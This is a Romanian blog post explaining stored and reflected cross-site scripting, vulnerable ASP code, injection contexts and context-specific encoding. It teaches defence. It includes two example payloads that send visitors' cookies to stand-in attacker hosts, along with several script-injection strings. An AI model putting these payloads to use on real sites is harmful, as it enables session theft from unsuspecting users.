marți, 30 octombrie 2007

Vulnerabilitati de tip cross-site-scripting (XSS)

Intr-un blog anterior am prezentat foarte pe scurt un plugin nou aparut pentru Visual Studio, numit XSSDetect (momentan e in faza Beta), si care analizeaza codul identificand toate zonele care pot fi posibile surse pentru atacuri de tip XSS.

Ce inseamna insa XSS? Denumirea completa este Cross Site Scripting si reprezinta o vulnerabilitate particulara aplicatiilor web. Bazandu-se pe o astfel de vulnerabilitate, un utilizator (rau voitor:D) poate injecta cod javascript care se va executa cand "victimele" vor naviga pe acel site/pagina. O aplicatie web vulnerabila la atacuri XSS poate fi exploatata in doua moduri:

Stored XSS - se intalneste in aplicatii unde un utilizator introduce anumite informatii care vor fi vizualizate ulterior de catre altii. In acest tip de atac, utilizatorul care introduce informatiile poate injecta cod javascript care pe urma va rula in contextul utilizatorilor care vizualizeaza respectiva informatie.
Acest tip de vulnerabilitate se poate intalni in aplicatii de tip forum, guestbook, blog,

Reflected XSS - se intalneste in aplicatii unde parametrii primiti in URL (parametri de query string) sunt afisati in pagina fara a fi validati sau rescrisi corespunzator. Astfel un utilizator poate construi un URL care in final va injecta cod javascript in pagina, iar URL-ul va fi trimis "victimelor" prin email sau orice alta sursa de comunicare (comentarii la articole, forumuri etc).

Putem sa ne ferim de astfel de atacuri daca orice informatie citita de la utilizator este validata corespunzator (cel mai adesea folosind expresii regulate), iar orice informatie care este afisata in aplicatia noastra si care provine de la utilizatori (surse nesigure) este encodata.

Un exemplu de cod vulnerabil ar fi urmatorul:
<html>Hello, <%=Request.QueryString(“username”) %></html>

Un utilizator ar putea pasa ca parametru "username" in url urmatorul string:
<script>document.location = ”http://3rd_party_url/StealCookie.asp?Cookie=”+document.cookie;</script>

Asadar daca informatia care provine de la utilizatori este afisata intr-un document HTML, ea trebuie prelucrata diferit functie de contextul in care informatia este afisata in respectivul HTML.... mai exact:

- direct in body-ul html-ului;
Exemplu de cod vulnerabil - caracterele < si > nu sunt filtrate sau encodate:
<b>Your query '<script>evil_script()</script>' returned N results</b>

- ca valoare a unui atribut in general (de exemplu title, value);
Exemplu - ghilimelele nu sunt filtrate sau encodate:
<form ...
<input name="q" value="ABC"><script>evil_script()</script>">
</form>

- ca valoare a unui atribut ce primeste un Url/Uri (de exemplu src);
<img src="javascript:evil_script()">...</img>

- ca parametru de query string a unui Url;

- in codul JavaScript;
Exemplu - apostroafele nu sunt filtrate sau encodate:
<script>
var msg = 'ANC'; evil_script(); //';
</script>

- in headerele raspunsului HTTP.

Putem evita multe dureri de cap daca avem grija sa encodam informatia primita de la utilizator functie de contextul in care ea va fi afisata inapoi in pagina... astfel in HTML caracterele < > & " ' trebuie inlocuite cu &lt; &gt; &amp; &quot; respectiv &#39, iar in JavaScript in fata caracterelor \ ' " trebuie inserat un \ (backslash), iar CR (carriage returns), LF (line feeds) si tab-urile trebuie inlocuite cu \r, \n respectiv \t.

Pentru cei care cred ca Server.HtmlEncode elimina orice vulnerabilitate XSS, atentie ca aceasta functie nu encodeaza decat caracterele <, >, & " (cine nu ma crede, aruncati un ochi cu reflector-ul lui Lutz Roeder)... iar urmatorul cod va ramane vulnerabil chiar si dupa encoding:

<html>
<script language=”javascript”>
var myVar = <%=Server.HTMLEncode(Request.Querystring("myVar"))%>
</script>
</html>


Iar un utilizator ar putea pasa ca valoare a lui "abc" urmatorul string:
9; document.location='http://www.evil.com/StealCookie.asp?Cookie='+document.cookie

Happy securing your code!

Niciun comentariu: